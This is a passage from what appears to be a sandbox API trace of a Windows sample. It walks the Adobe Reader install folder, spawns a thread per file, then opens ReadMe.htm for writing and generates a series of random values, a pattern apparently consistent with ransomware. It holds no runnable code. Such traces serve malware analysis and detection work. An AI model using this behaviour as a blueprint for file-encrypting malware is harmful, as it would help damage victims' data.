10.0\\Reader\\" [0049.381] wcscat (in: _Dest=0x4ef6a8, _Source="Locale" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" [0049.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4ef6a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9dc [0049.382] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e1a400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0049.382] wcscmp (_String1="logsession.dll", _String2=".") returned 1 [0049.382] wcscmp (_String1="logsession.dll", _String2="..") returned 1 [0049.382] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.exe", cAlternateFileName="LOGTRA~1.EXE")) returned 1 [0049.382] wcscmp (_String1="LogTransport2.exe", _String2=".") returned 1 [0049.382] wcscmp (_String1="LogTransport2.exe", _String2="..") returned 1 [0049.382] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9808, dwReserved0=0x0, dwReserved1=0x0, cFileName="Onix32.dll", cAlternateFileName="")) returned 1 [0049.382] wcscmp (_String1="Onix32.dll", _String2=".") returned 1 [0049.382] wcscmp (_String1="Onix32.dll", _String2="..") returned 1 [0049.382] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFPrevHndlr.dll", cAlternateFileName="PDFPRE~1.DLL")) returned 1 [0049.382] wcscmp (_String1="PDFPrevHndlr.dll", _String2=".") returned 1 [0049.382] wcscmp (_String1="PDFPrevHndlr.dll", _String2="..") returned 1 [0049.383] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFSigQFormalRep.pdf", cAlternateFileName="PDFSIG~1.PDF")) returned 1 [0049.383] wcscmp (_String1="PDFSigQFormalRep.pdf", _String2=".") returned 1 [0049.383] wcscmp (_String1="PDFSigQFormalRep.pdf", _String2="..") returned 1 [0049.383] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x438358 [0049.383] wcscpy (in: _Dest=0x438358, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.383] wcscat (in: _Dest=0x438358, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.383] wcscat (in: _Dest=0x438358, _Source="PDFSigQFormalRep.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" [0049.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438358, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e0 [0049.384] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18dd88, dwReserved0=0x0, dwReserved1=0x0, cFileName="pe.dll", cAlternateFileName="")) returned 1 [0049.384] wcscmp (_String1="pe.dll", _String2=".") returned 1 [0049.384] wcscmp (_String1="pe.dll", _String2="..") returned 1 [0049.384] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="piaglbreakfinder.dll", cAlternateFileName="PIAGLB~1.DLL")) returned 1 [0049.384] wcscmp (_String1="piaglbreakfinder.dll", _String2=".") returned 1 [0049.384] wcscmp (_String1="piaglbreakfinder.dll", _String2="..") returned 1 [0049.384] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins", cAlternateFileName="")) returned 1 [0049.384] wcscmp (_String1="plug_ins", _String2=".") returned 1 [0049.384] wcscmp (_String1="plug_ins", _String2="..") returned 1 [0049.384] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400698 [0049.384] wcscpy (in: _Dest=0x400698, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.384] wcscat (in: _Dest=0x400698, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.384] wcscat (in: _Dest=0x400698, _Source="plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0049.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4 [0049.385] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0049.385] wcscmp (_String1="plug_ins3d", _String2=".") returned 1 [0049.385] wcscmp (_String1="plug_ins3d", _String2="..") returned 1 [0049.385] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45e138 [0049.385] wcscpy (in: _Dest=0x45e138, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.386] wcscat (in: _Dest=0x45e138, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.386] wcscat (in: _Dest=0x45e138, _Source="plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0049.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45e138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8 [0049.387] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0049.387] wcscmp (_String1="pmd.cer", _String2=".") returned 1 [0049.387] wcscmp (_String1="pmd.cer", _String2="..") returned 1 [0049.387] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4ef720 [0049.387] wcscpy (in: _Dest=0x4ef720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.387] wcscat (in: _Dest=0x4ef720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.387] wcscat (in: _Dest=0x4ef720, _Source="pmd.cer" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" [0049.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ef720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ec [0049.388] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="reader_sl.exe", cAlternateFileName="READER~1.EXE")) returned 1 [0049.388] wcscmp (_String1="reader_sl.exe", _String2=".") returned 1 [0049.388] wcscmp (_String1="reader_sl.exe", _String2="..") returned 1 [0049.388] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt3d.dll", cAlternateFileName="")) returned 1 [0049.388] wcscmp (_String1="rt3d.dll", _String2=".") returned 1 [0049.388] wcscmp (_String1="rt3d.dll", _String2="..") returned 1 [0049.388] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTC.der", cAlternateFileName="")) returned 1 [0049.388] wcscmp (_String1="RTC.der", _String2=".") returned 1 [0049.388] wcscmp (_String1="RTC.der", _String2="..") returned 1 [0049.389] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b078 [0049.389] wcscpy (in: _Dest=0x43b078, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.389] wcscat (in: _Dest=0x43b078, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.389] wcscat (in: _Dest=0x43b078, _Source="RTC.der" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" [0049.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43b078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0 [0049.390] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ff90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScCore.dll", cAlternateFileName="")) returned 1 [0049.390] wcscmp (_String1="ScCore.dll", _String2=".") returned 1 [0049.390] wcscmp (_String1="ScCore.dll", _String2="..") returned 1 [0049.390] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0049.390] wcscmp (_String1="Services", _String2=".") returned 1 [0049.390] wcscmp (_String1="Services", _String2="..") returned 1 [0049.390] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x45e0b8 [0049.390] wcscpy (in: _Dest=0x45e0b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.390] wcscat (in: _Dest=0x45e0b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.390] wcscat (in: _Dest=0x45e0b8, _Source="Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" [0049.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45e0b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4 [0049.391] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffc0b80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffc0b80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPPlugins", cAlternateFileName="SPPLUG~1")) returned 1 [0049.391] wcscmp (_String1="SPPlugins", _String2=".") returned 1 [0049.391] wcscmp (_String1="SPPlugins", _String2="..") returned 1 [0049.391] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45e9b8 [0049.391] wcscpy (in: _Dest=0x45e9b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.391] wcscat (in: _Dest=0x45e9b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.391] wcscat (in: _Dest=0x45e9b8, _Source="SPPlugins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\SPPlugins" [0049.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45e9b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8 [0049.393] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite.dll", cAlternateFileName="")) returned 1 [0049.393] wcscmp (_String1="sqlite.dll", _String2=".") returned 1 [0049.393] wcscmp (_String1="sqlite.dll", _String2="..") returned 1 [0049.393] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracker", cAlternateFileName="")) returned 1 [0049.393] wcscmp (_String1="Tracker", _String2=".") returned 1 [0049.393] wcscmp (_String1="Tracker", _String2="..") returned 1 [0049.393] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b0f0 [0049.393] wcscpy (in: _Dest=0x43b0f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0049.393] wcscat (in: _Dest=0x43b0f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0049.393] wcscat (in: _Dest=0x43b0f0, _Source="Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0049.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43b0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc [0049.394] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0049.394] wcscmp (_String1="ViewerPS.dll", _String2=".") returned 1 [0049.394] wcscmp (_String1="ViewerPS.dll", _String2="..") returned 1 [0049.394] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 1 [0049.394] wcscmp (_String1="wow_helper.exe", _String2=".") returned 1 [0049.394] wcscmp (_String1="wow_helper.exe", _String2="..") returned 1 [0049.394] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x4889a0 | out: lpFindFileData=0x4889a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 0 [0049.394] FindClose (in: hFindFile=0x409ee8 | out: hFindFile=0x409ee8) returned 1 [0049.395] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4889a0) returned 1 [0049.395] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421a48) returned 1 [0049.395] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d118) returned 1 Thread: id = 375 os_tid = 0xcc0 [0048.662] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm")) returned 0x20 [0058.434] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm", dwFileAttributes=0x20) returned 1 [0058.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe90 [0058.434] GetFileSizeEx (in: hFile=0xe90, lpFileSize=0x704fcf4 | out: lpFileSize=0x704fcf4*=16758) returned 1 [0058.434] SetFilePointerEx (in: hFile=0xe90, liDistanceToMove=0x4172, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.435] ReadFile (in: hFile=0xe90, lpBuffer=0x704fc78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x704fc74, lpOverlapped=0x0 | out: lpBuffer=0x704fc78*, lpNumberOfBytesRead=0x704fc74*=0x4, lpOverlapped=0x0) returned 1 [0058.436] SetFilePointerEx (in: hFile=0xe90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0058.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0058.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9648 [0058.436] NtQuerySystemTime (in: CurrentTime=0x704fc54 | out: CurrentTime=0x704fc54*=132174898224144000) returned 0x0 [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x7f5eaa0f [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x48cdf3d4 [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x302479cc [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x335bae93 [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x77da1e7a [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x3ce419c1 [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x3196ddcd [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x33e67203 [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x269b225a [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x11a64e3d [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0xd34caaf [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x795777ca [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x20954ea4 [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x6795f10a [0058.436] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x78b7c24e [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x8500100 [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0xfbdf8da [0058.437] RtlRandomEx (in: Seed=0x704fc60 | out: Seed=0x704fc60) returned 0x2eab393 [0058.437] RtlRandomEx (in: Seed=0x704fc60 